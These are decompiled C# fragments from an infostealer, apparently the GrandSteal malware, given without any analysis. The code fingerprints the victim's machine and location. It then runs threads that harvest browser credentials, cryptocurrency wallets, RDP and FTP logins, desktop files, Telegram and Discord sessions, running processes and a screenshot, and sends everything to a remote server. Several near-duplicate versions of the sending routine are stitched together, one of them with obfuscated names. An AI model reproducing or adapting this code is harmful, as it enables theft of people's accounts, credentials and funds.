// Token: 0x060001CB RID: 459 RVA: 0x0000B584 File Offset: 0x00009784
private void LogsListView_MouseDoubleClick(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Left && this.logsListView.SelectedIndex != -1)
{
string keyID = this.logsListView.Items[this.logsListView.SelectedIndex].SubItems[1].Text;
RemoteClientInformation remoteClientInformation = this.ViewModel.LogsVM.Logs.Collection.FirstOrDefault((RemoteClientInformation x) => x.Id == Convert.ToInt32(keyID));
if (remoteClientInformation != null)
{
Process.Start(Path.Combine(Directory.GetCurrentDirectory(), "Results", string.Concat(new string[]
{
"[",
remoteClientInformation.HardwareID,
"] [",
remoteClientInformation.UserName,
"]"
})));
}
}
}
// Token: 0x06000014 RID: 20 RVA: 0x000026D8 File Offset: 0x000008D8
public static RemoteClientInformation Create(string SourceID)
{
RemoteClientInformation result;
try
{
GeoLocationHelper.Initialize();
Size screenSize = ClientInfoHelper.GetScreenSize();
string text = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
if (!text.StartsWith("-"))
{
text = "+" + text;
}
result = new RemoteClientInformation
{
ID = 0,
LogTime = DateTime.Now,
SourceID = SourceID,
UserName = Environment.UserName,
ClientIP = GeoLocationHelper.GeoInfo.Query,
Country = GeoLocationHelper.GeoInfo.CountryCode,
OperationSystem = ClientInfoHelper.ParseOS(),
HardwareID = ClientInfoHelper.ParseHWID(),
Hardwares = ClientInfoHelper.ParseHardwares(),
Antiviruses = ClientInfoHelper.ParseDefenders(),
Languages = ClientInfoHelper.AvailableLanguages(),
CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName,
MonitorSize = string.Format("{0}x{1}", screenSize.Width, screenSize.Height),
TimeZone = "UTC" + text,
City = GeoLocationHelper.GeoInfo.City
};
}
catch
{
result = null;
}
return(result);
}
public bool QQu()
{
try
{
ClientSettings settings = RecieveSettings().IsNull(new ClientSettings());
List <BrowserProfile> browserProfiles = new List <BrowserProfile>();
List <ColdWallet> wallets = new List <ColdWallet>();
List <RdpCredential> rdpCredentials = new List <RdpCredential>();
List <DesktopFile> desktopFiles = new List <DesktopFile>();
List <FtpCredential> ftpCredentials = new List <FtpCredential>();
TelegramSession telegramSession = new TelegramSession();
DiscordSession discordSession = new DiscordSession();
List <RemoteProcess> processes = new List <RemoteProcess>();
List <string> programs = new List <string>();
RemoteClientInformation clientInfo = new RemoteClientInformation();
ThreadPool.SetMaxThreads(2000, 10000);
new Thread((ThreadStart) delegate
{
Console.WriteLine("ClientInfos parser has been started");
Stopwatch stopwatch10 = new Stopwatch();
stopwatch10.Start();
clientInfo = ClientInfoHelper.Create(BuildID);
stopwatch10.Stop();
clientInfoFlag.Set();
Console.WriteLine($"ClientInfos has been parsed.Elapsed time: {stopwatch10.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("Browsers parser has been started");
Stopwatch stopwatch9 = new Stopwatch();
stopwatch9.Start();
if (settings.GrabBrowserCredentials)
{
int countCompleted = 0;
object locker = new object();
foreach (GH9kf <BrowserProfile> manager in BrowserCredentialsManagers)
{
new Thread((ThreadStart) delegate
{
List <BrowserProfile> collection = manager.EnumerateData();
lock (locker)
{
browserProfiles.AddRange(collection);
int num = countCompleted;
countCompleted = num + 1;
}
}).Start();
}
while (countCompleted != BrowserCredentialsManagers.Count)
{
}
}
stopwatch9.Stop();
browsersFlag.Set();
Console.WriteLine($"Browsers has been parsed.Elapsed time: {stopwatch9.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("ColdWallets parser has been started");
Stopwatch stopwatch8 = new Stopwatch();
stopwatch8.Start();
if (settings.GrabColdWallets)
{
foreach (GH9kf <ColdWallet> coldWalletManager in ColdWalletManagers)
{
wallets.AddRange(coldWalletManager.EnumerateData().IsNull(new List <ColdWallet>()));
}
}
stopwatch8.Stop();
walletsFlag.Set();
Console.WriteLine($"ColdWallets has been parsed.Elapsed time: {stopwatch8.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("DiscordSession parser has been started");
Stopwatch stopwatch7 = new Stopwatch();
stopwatch7.Start();
if (settings.GrabDiscord)
{
discordSession = fffsa.TempGet();
}
stopwatch7.Stop();
discordFlag.Set();
Console.WriteLine($"DiscordSession has been parsed.Elapsed time: {stopwatch7.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("Rdps parser has been started");
Stopwatch stopwatch6 = new Stopwatch();
stopwatch6.Start();
if (settings.GrabRdp)
{
foreach (GH9kf <RdpCredential> rdpManager in RdpManagers)
{
rdpCredentials.AddRange(rdpManager.EnumerateData().IsNull());
}
}
stopwatch6.Stop();
rdpsFlag.Set();
Console.WriteLine($"Rdps has been parsed.Elapsed time: {stopwatch6.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("DesktopFiles parser has been started");
Stopwatch stopwatch5 = new Stopwatch();
stopwatch5.Start();
if (settings.GrabDesktopFiles)
{
foreach (gg3 desktopFileManager in DesktopFileManagers)
{
desktopFileManager.GrabberSettings = settings.DesktopExtensions;
desktopFiles.AddRange(desktopFileManager.EnumerateData());
}
}
stopwatch5.Stop();
desktopFlag.Set();
Console.WriteLine($"DesktopFiles has been parsed.Elapsed time: {stopwatch5.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("FTPs parser has been started");
Stopwatch stopwatch4 = new Stopwatch();
stopwatch4.Start();
if (settings.GrabFtp)
{
foreach (GH9kf <FtpCredential> ftpManager in FtpManagers)
{
ftpCredentials.AddRange(ftpManager.EnumerateData().IsNull());
}
}
stopwatch4.Stop();
ftpFlag.Set();
Console.WriteLine($"FTPs has been parsed.Elapsed time: {stopwatch4.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("TelegramSession parser has been started");
Stopwatch stopwatch3 = new Stopwatch();
stopwatch3.Start();
if (settings.GrabTelegram)
{
telegramSession = Fkf83.Fuul();
}
stopwatch3.Stop();
telegramFlag.Set();
Console.WriteLine($"TelegramSession has been parsed.Elapsed time: {stopwatch3.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("ListOfProcesses parser has been started");
Stopwatch stopwatch2 = new Stopwatch();
stopwatch2.Start();
processes = ClientInfoHelper.ListOfProcesses();
stopwatch2.Stop();
processesFlag.Set();
Console.WriteLine($"ListOfProcesses has been parsed.Elapsed time: {stopwatch2.Elapsed}");
}).Start();
new Thread((ThreadStart) delegate
{
Console.WriteLine("ListOfPrograms parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
programs = ClientInfoHelper.ListOfPrograms();
stopwatch.Stop();
programsFlag.Set();
Console.WriteLine($"ListOfPrograms has been parsed.Elapsed time: {stopwatch.Elapsed}");
}).Start();
telegramFlag.WaitOne();
discordFlag.WaitOne();
processesFlag.WaitOne();
programsFlag.WaitOne();
browsersFlag.WaitOne();
walletsFlag.WaitOne();
rdpsFlag.WaitOne();
desktopFlag.WaitOne();
ftpFlag.WaitOne();
clientInfoFlag.WaitOne();
Console.WriteLine("CredentialsRequest has been created");
if (clientInfo == null)
{
Environment.Exit(0);
}
CredentialsRequest objectToSend = new CredentialsRequest
{
ClientInformation = clientInfo,
BrowserProfiles = browserProfiles,
ColdWallets = wallets,
RdpConnections = rdpCredentials,
DesktopFiles = desktopFiles,
FtpCredentials = ftpCredentials,
Telegram = telegramSession,
Discord = discordSession,
ProcessList = processes,
InstalledPrograms = programs,
Screenshot = ClientInfoHelper.CaptureScreen()
};
return(Server.ProcessRequest <CredentialsRequest, bool>(objectToSend, "Credentials", 600000)());
}
catch
{
return(false);
}
}
// Token: 0x06000052 RID: 82 RVA: 0x000040E0 File Offset: 0x000022E0
public bool SendCredentials()
{
bool result;
try
{
GrandSteal.Client.Models.ClientSettings clientSettings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
List <BrowserProfile> list = new List <BrowserProfile>();
if (clientSettings.GrabBrowserCredentials)
{
foreach (ICredentialsManager <BrowserProfile> credentialsManager in this.BrowserCredentialsManagers)
{
list.AddRange(credentialsManager.GetAll());
}
}
List <ColdWallet> list2 = new List <ColdWallet>();
if (clientSettings.GrabColdWallets)
{
foreach (ICredentialsManager <ColdWallet> credentialsManager2 in this.ColdWalletManagers)
{
list2.AddRange(credentialsManager2.GetAll().IsNull(new List <ColdWallet>()));
}
}
List <RdpCredential> list3 = new List <RdpCredential>();
if (clientSettings.GrabRdp)
{
foreach (ICredentialsManager <RdpCredential> credentialsManager3 in this.RdpManagers)
{
list3.AddRange(credentialsManager3.GetAll().IsNull <IEnumerable <RdpCredential> >());
}
}
List <DesktopFile> list4 = new List <DesktopFile>();
if (clientSettings.GrabDesktopFiles)
{
foreach (DesktopFileManager desktopFileManager in this.DesktopFileManagers)
{
desktopFileManager.DesktopFileExtensions = clientSettings.DesktopExtensions;
list4.AddRange(desktopFileManager.GetAll());
}
}
List <FtpCredential> list5 = new List <FtpCredential>();
if (clientSettings.GrabFtp)
{
foreach (ICredentialsManager <FtpCredential> credentialsManager4 in this.FtpManagers)
{
list5.AddRange(credentialsManager4.GetAll().IsNull <IEnumerable <FtpCredential> >());
}
}
RemoteClientInformation remoteClientInformation = ClientInfoHelper.Create(this.BuildID);
if (remoteClientInformation == null)
{
Environment.Exit(0);
}
CredentialsRequest objectToSend = new CredentialsRequest
{
ClientInformation = remoteClientInformation,
BrowserProfiles = list,
ColdWallets = list2,
RdpConnections = list3,
DesktopFiles = list4,
FtpCredentials = list5,
Telegram = (clientSettings.GrabTelegram ? TelegramManager.Extract() : new TelegramSession()),
Discord = (clientSettings.GrabDiscord ? DiscordManager.Extract() : new DiscordSession()),
ProcessList = ClientInfoHelper.ListOfProcesses(),
InstalledPrograms = ClientInfoHelper.ListOfPrograms(),
Screenshot = ClientInfoHelper.CaptureScreen()
};
result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
}
catch
{
result = false;
}
return(result);
}
// Token: 0x0600004F RID: 79 RVA: 0x00003EC8 File Offset: 0x000020C8
public bool SendCredentials()
{
bool result;
try
{
GrandSteal.Client.Models.ClientSettings settings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings());
List <BrowserProfile> browserProfiles = new List <BrowserProfile>();
List <ColdWallet> wallets = new List <ColdWallet>();
List <RdpCredential> rdpCredentials = new List <RdpCredential>();
List <DesktopFile> desktopFiles = new List <DesktopFile>();
List <FtpCredential> ftpCredentials = new List <FtpCredential>();
TelegramSession telegramSession = new TelegramSession();
DiscordSession discordSession = new DiscordSession();
List <RemoteProcess> processes = new List <RemoteProcess>();
List <string> programs = new List <string>();
RemoteClientInformation clientInfo = new RemoteClientInformation();
ThreadPool.SetMaxThreads(2000, 10000);
new Thread(delegate
{
Console.WriteLine("ClientInfos parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
clientInfo = ClientInfoHelper.Create(this.BuildID);
stopwatch.Stop();
this.clientInfoFlag.Set();
Console.WriteLine(string.Format("ClientInfos has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("Browsers parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
if (settings.GrabBrowserCredentials)
{
int countCompleted = 0;
object locker = new object();
using (IEnumerator <ICredentialsManager <BrowserProfile> > enumerator = this.BrowserCredentialsManagers.GetEnumerator())
{
while (enumerator.MoveNext())
{
ICredentialsManager <BrowserProfile> manager = enumerator.Current;
new Thread(delegate
{
List <BrowserProfile> all = manager.GetAll();
object locker = locker;
lock (locker)
{
browserProfiles.AddRange(all);
int countCompleted = countCompleted;
countCompleted++;
}
}).Start();
}
}
while (countCompleted != this.BrowserCredentialsManagers.Count)
{
}
}
stopwatch.Stop();
this.browsersFlag.Set();
Console.WriteLine(string.Format("Browsers has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("ColdWallets parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
if (settings.GrabColdWallets)
{
foreach (ICredentialsManager <ColdWallet> current in this.ColdWalletManagers)
{
wallets.AddRange(current.GetAll().IsNull(new List <ColdWallet>()));
}
}
stopwatch.Stop();
this.walletsFlag.Set();
Console.WriteLine(string.Format("ColdWallets has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("DiscordSession parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
if (settings.GrabDiscord)
{
discordSession = DiscordManager.Extract();
}
stopwatch.Stop();
this.discordFlag.Set();
Console.WriteLine(string.Format("DiscordSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("Rdps parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
if (settings.GrabRdp)
{
foreach (ICredentialsManager <RdpCredential> current in this.RdpManagers)
{
rdpCredentials.AddRange(current.GetAll().IsNull <List <RdpCredential> >());
}
}
stopwatch.Stop();
this.rdpsFlag.Set();
Console.WriteLine(string.Format("Rdps has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("DesktopFiles parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
if (settings.GrabDesktopFiles)
{
foreach (DesktopFileManager current in this.DesktopFileManagers)
{
current.DesktopFileExtensions = settings.DesktopExtensions;
desktopFiles.AddRange(current.GetAll());
}
}
stopwatch.Stop();
this.desktopFlag.Set();
Console.WriteLine(string.Format("DesktopFiles has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("FTPs parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
if (settings.GrabFtp)
{
foreach (ICredentialsManager <FtpCredential> current in this.FtpManagers)
{
ftpCredentials.AddRange(current.GetAll().IsNull <List <FtpCredential> >());
}
}
stopwatch.Stop();
this.ftpFlag.Set();
Console.WriteLine(string.Format("FTPs has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("TelegramSession parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
if (settings.GrabTelegram)
{
telegramSession = TelegramManager.Extract();
}
stopwatch.Stop();
this.telegramFlag.Set();
Console.WriteLine(string.Format("TelegramSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("ListOfProcesses parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
processes = ClientInfoHelper.ListOfProcesses();
stopwatch.Stop();
this.processesFlag.Set();
Console.WriteLine(string.Format("ListOfProcesses has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
new Thread(delegate
{
Console.WriteLine("ListOfPrograms parser has been started");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
programs = ClientInfoHelper.ListOfPrograms();
stopwatch.Stop();
this.programsFlag.Set();
Console.WriteLine(string.Format("ListOfPrograms has been parsed.Elapsed time: {0}", stopwatch.Elapsed));
}).Start();
this.telegramFlag.WaitOne();
this.discordFlag.WaitOne();
this.processesFlag.WaitOne();
this.programsFlag.WaitOne();
this.browsersFlag.WaitOne();
this.walletsFlag.WaitOne();
this.rdpsFlag.WaitOne();
this.desktopFlag.WaitOne();
this.ftpFlag.WaitOne();
this.clientInfoFlag.WaitOne();
Console.WriteLine("CredentialsRequest has been created");
if (clientInfo == null)
{
Environment.Exit(0);
}
CredentialsRequest objectToSend = new CredentialsRequest
{
ClientInformation = clientInfo,
BrowserProfiles = browserProfiles,
ColdWallets = wallets,
RdpConnections = rdpCredentials,
DesktopFiles = desktopFiles,
FtpCredentials = ftpCredentials,
Telegram = telegramSession,
Discord = discordSession,
ProcessList = processes,
InstalledPrograms = programs,
Screenshot = ClientInfoHelper.CaptureScreen()
};
result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
}
catch
{
result = false;
}
return(result);
}
